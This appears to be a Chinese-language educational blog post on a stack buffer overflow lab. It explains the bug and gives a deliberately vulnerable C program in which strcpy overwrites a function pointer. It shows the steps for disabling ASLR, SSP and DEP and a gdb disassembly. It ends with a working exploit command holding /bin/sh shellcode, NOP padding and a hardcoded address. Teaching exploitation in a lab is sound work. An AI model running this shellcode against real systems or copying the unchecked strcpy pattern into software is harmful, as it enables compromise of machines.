栈溢出

漏洞原理:

        栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致栈中与其相邻的变量的值被改变。若输入足够多的、精心挑选的字符,将改写函数的返回地址(也可以是jmp、call指令的跳转地址),由此获取对CPU的控制,从而执行任何任意操作。

实验环境:Ubuntu16.0、gdb

漏洞程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argv, char ** argc) 
{
                
                void (* fn)(char*)=(void(*)(char*))& system;
                char buf[256];

                fn=(void(*)(char*))& puts;
                strcpy(buf,argc[1]);
                fn(argc[2]);
                exit(1);
}

        因为有exit()函数,即使覆盖了返回地址,程序之后也会调用exit()函数正常终止。所以要在exit()之前找一个可以利用的返回地址。因此这次的溢出地址不是返回地址,而是在程序中的一个函数地址。

程序编译:

        1.关闭ALSR

         echo 0 > /proc/sys/kernel/randomize_va_space

        关闭ALSR:在栈缓冲区溢出实验中,一个重要步骤为定位某些目标的内存映射地址,如插入shellcode时需要定位插入地址。ALSR即内存布局随机化机制,是由操作系统实现的,主要被划分为映像随机化、栈随机化和堆随机化这几类,分别对程序的加载基地址、栈基址和堆基址进行随机化。

         2.关闭SSP

          -fno-stack-protector

         SSP是gcc提供的针对栈缓冲区溢出提供的检查机制。它会在函数对于栈帧中入栈一个随机值,在函数调用结束准备返回时,编译器会检查该随机值是否发生了变化,若发生了变化则说明发生了缓冲区溢出,控制流会转移到对应的处理函数处。

          3.关闭DEP

          -z execstack

         为了防止用户通过栈上的缓冲区构造数据,使用了DEP机制,限制内存的属性,使得某些可写内存不可执行或可执行内存不可写,从而达到防护的结果。

程序调试:

       在windows下使用习惯了intel汇编,在Linux下看的难受,在gdb下使用 set disassembly-flavor intel  转换为intel格式的汇编

1.反汇编代码

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ab <+0>:	lea    ecx,[esp+0x4]
   0x080484af <+4>:	and    esp,0xfffffff0
   0x080484b2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484b5 <+10>:	push   ebp
   0x080484b6 <+11>:	mov    ebp,esp
   0x080484b8 <+13>:	push   ebx
   0x080484b9 <+14>:	push   ecx
   0x080484ba <+15>:	sub    esp,0x110
   0x080484c0 <+21>:	mov    ebx,ecx
   0x080484c2 <+23>:	mov    DWORD PTR [ebp-0xc],0x8048370
   0x080484c9 <+30>:	mov    DWORD PTR [ebp-0xc],0x8048360
   0x080484d0 <+37>:	mov    eax,DWORD PTR [ebx+0x4]
   0x080484d3 <+40>:	add    eax,0x4
   0x080484d6 <+43>:	mov    eax,DWORD PTR [eax]
   0x080484d8 <+45>:	sub    esp,0x8
   0x080484db <+48>:	push   eax
   0x080484dc <+49>:	lea    eax,[ebp-0x10c]
   0x080484e2 <+55>:	push   eax
   0x080484e3 <+56>:	call   0x8048350 <strcpy@plt>
   0x080484e8 <+61>:	add    esp,0x10
   0x080484eb <+64>:	mov    eax,DWORD PTR [ebx+0x4]
   0x080484ee <+67>:	add    eax,0x8
   0x080484f1 <+70>:	mov    eax,DWORD PTR [eax]
   0x080484f3 <+72>:	sub    esp,0xc
   0x080484f6 <+75>:	push   eax
   0x080484f7 <+76>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484fa <+79>:	call   eax
   0x080484fc <+81>:	add    esp,0x10
   0x080484ff <+84>:	sub    esp,0xc
   0x08048502 <+87>:	push   0x1
   0x08048504 <+89>:	call   0x8048380 <exit@plt>
End of assembler dump.

2.栈空间

  3.shellcode

      寻找buf[0]地址,因为shellcode要从buf[0]位置开始。并把反汇编代码中Call eax的eax值覆盖为buf[0]的位置。从而执行shellcode。

Shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’

Address = ‘\x7c\xce\xff\xff’

r $(python -c "print ('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*(256-25) + '\x7c\xce\xff\xff')")

猜你喜欢

转载自blog.csdn.net/m0_37809075/article/details/81239754